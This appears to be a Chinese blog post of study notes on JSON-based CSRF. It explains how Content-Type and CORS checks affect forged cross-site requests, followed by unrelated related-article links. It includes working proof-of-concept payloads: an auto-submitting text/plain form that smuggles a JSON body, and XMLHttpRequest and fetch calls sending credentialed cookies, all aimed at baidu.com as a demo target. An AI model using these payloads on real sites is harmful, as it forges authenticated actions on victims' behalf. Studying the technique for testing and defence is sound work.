碰到 Json_CSRF 怎么办?
2020-07-20 15:37
85 查看
前言
在最近挖洞的时候,老是碰到 POST 传参采用 JSON 格式,而不是传统的
parameter=value的格式,之前也没接触过,所以也不知道该怎么搞,所以打算学习一下,此文作为一个笔记梳理。
前提知识
一般采用
Json格式传输参数时,请求包中都有
Content-Type头,一般服务器也会验证
Content-Type值是否为
application/json,当服务器验证
Content-Type时,若不符合要求,则会抛出异常,导致传输的数据失效
当简单的采用表单传输简单参数时,
Content-Type值为:
x-www-form-urlencoded,传输的数据会被 URL 编码,传输文件时值为:
form-data给表单添加
enctype="text/plain"属性时,
Content-type值为:
text/plain
在使用
XMLHttpRequest跨域发起请求时,浏览器首先会先进行一次
OPTIONS预请求,查看目标网站是否支持跨域,如果支持,则浏览器会进行下一步,发送真实请求,否则会直接报错
突破限制的方法
下面统一假设 POST 传输的参数为:
{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}
服务端不验证 Content-Type
的情况
- 特殊的表单,即构造一个键值对
<!DOCTYPE html> <html> <head> <title>Json_CSRF</title> <meta charset="utf-8"> </head> <body> <form id="test" enctype="text/plain" action="http://baidu.com" method="post"> <input name='{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20","test":"' value='test"}'> </form> <script type="text/javascript"> document.getElementById("test").submit(); </script> </body> </html>
可以看到请求包中:
传输的数据变成了:
{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20","test":"=test"}且请求头中:
Content-Type: text/plain,当服务器后端严格校验
Content-Type头时,该方法也就差不多没用了
- 利用 JS 中的
XMLHttpRequest
,即 XHR,该方法要求目标网站支持跨域
<!DOCTYPE html> <html> <head> <title>Json_CSRF</title> <meta charset="utf-8"> </head> <body> <script type="text/javascript"> function csrf(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.open("POST","https://baidu.com",true); xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8"); xmlhttp.withCredentials = true; xmlhttp.send(JSON.stringify({"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}));; } csrf(); </script> </body> </html>
首先,浏览器会发起一个
OPTION请求,查询目标网站是否支持跨域 如果目标响应包中有
Access-Control-Allow-Credentials: true代表允许携带
cookie, 有
Access-Control-Allow-Origin:http://mysite.com或者为
Access-Control-Allow-Origin:*,即代表支持跨域 浏览器便会携带
cookie发起真实请求 注意:实际上百度并不支持跨域,此处只是为了方便演示
当目标网站不支持跨域,则浏览器将不会发起请求,导致该方法失效
当然,除了
XMLHttpRequest,
fetch也是一样的
<script> function csrf(){ fetch('https://baidu.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json;charset=UTF-8'}, body: '{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}'}); } csrf(); </script>
服务端验证 Content-Type
的情况
- XHR
跟上面一样,也是利用
XMLHttpRequest
- flash
可惜,现在是个浏览器都会询问用户是否开启 flash,此举难以成功,而且不久,flash 就会被废弃
相关文章推荐
- Js 怎么遍历json对象所有key及根据动态key获取值
- 如何应对”碰到了XX问题,该怎么办?“,“我处理不了,没办法”现象?
- QJson解析数组里面的不同对象的值(怎么将数组转为对象)
- php怎么将数组数组转化为json格式的数据
- 关于C# 怎么调用webapi来获取到json数据
- JS逆向时碰到了恶心的死代码怎么办?手把手教你解决!
- jquery 跨域调用wcf 返回json 碰到的一些问题
- 用jquery使用ajax方法怎么用callback(date)方法获取值?date如何获取各种各样的json值
- struts2怎么返回一个字符串给jsp?(使用json)
- JSON是什么 JSON怎么用
- 自动化测试碰到验证码,怎么办?
- android 发送json 到服务器 spring 怎么接收?
- 66、fastJson 解析json数据时,如果key值不同怎么处理?
- 碰到磁盘动态无效怎么办?
- BootStrapTable(一) -- 怎么解析嵌套Json数据
- 引入extThree20JSON之后,怎么在工程中使用
- json里的日期字符串 怎么 转换成 javascript 的 Date 对象?
- jQuery怎么解析Json字符串(Json格式/Json对象)
- 怎么把表单中数据转换成json字符串?异步提交
- JSON是什么 JSON怎么用